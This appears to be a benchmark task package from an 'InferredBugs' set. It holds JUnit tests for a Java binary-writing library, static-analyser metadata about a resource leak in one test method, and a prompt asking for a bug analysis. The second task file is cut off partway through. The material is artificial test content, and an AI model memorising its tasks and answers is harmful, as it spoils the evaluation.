+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, binStart().Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD, 0xFE).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, (byte) 0xFD, (byte) 0x8E).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(1, 3, 0, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(true, true, false, false, false, true, true, true).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(true, true, false, true).end().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short((short)0x0102, (short)0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short(new short[]{(short)0x0102, (short)0x0304}).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, binStart().Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Int(0x01020304, 0x05060708).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, binStart().Long(0x0102030405060708L,0x1112131415161718L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = binStart(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = binStart();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.end();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(binStart(dout).Byte(1,2,3).end());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(16384);
+
+    final JBBPOut begin = new JBBPOut(buffer);
+
+    begin.
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+            end();
+
+    final byte[] array = buffer.toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `binStart()` at line 221 is not released after line 372.
+**Note**: potential exception at line 222
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testExceptionForOperatioOverEndedProcess()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testExceptionForOperatioOverEndedProcess():void.2c9ce3e426be732cc80f75c30337c0f9
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testExceptionForOperatioOverEndedProcess|RESOURCE_LEAK
+
+### Node Key:
+f252c7633c834625d30364a2d12a8c07
+
+### Hash:
+72bb4a83c45d8281b52473b28b289803
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9077/instruction.md b/inferredbugs-9077/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..443d9b540a1c7e3a8b05dcd5402cc6432d15028b
--- /dev/null
+++ b/inferredbugs-9077/instruction.md
@@ -0,0 +1,494 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
+  @Test
+  public void testBinStart() throws Exception {
+    assertArrayEquals(new byte[]{1},binStart().Byte(1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},binStart(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},binStart(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},binStart(JBBPBitOrder.MSB0).Byte(1).end().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, binStart(buffer).end());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).end().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).end().toByteArray().length);
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).end().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).end().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, binStart().Byte(-34).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, binStart().Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD, 0xFE).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, (byte) 0xFD, (byte) 0x8E).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(1, 3, 0, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(true, true, false, false, false, true, true, true).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(true, true, false, true).end().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short((short)0x0102, (short)0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short(new short[]{(short)0x0102, (short)0x0304}).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, binStart().Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Int(0x01020304, 0x05060708).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, binStart().Long(0x0102030405060708L,0x1112131415161718L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = binStart(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = binStart();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.end();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(binStart(dout).Byte(1,2,3).end());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(16384);
+
+    final JBBPOut begin = new JBBPOut(buffer);
+
+    begin.
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+            end();
+
+    final byte[] array = buffer.toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
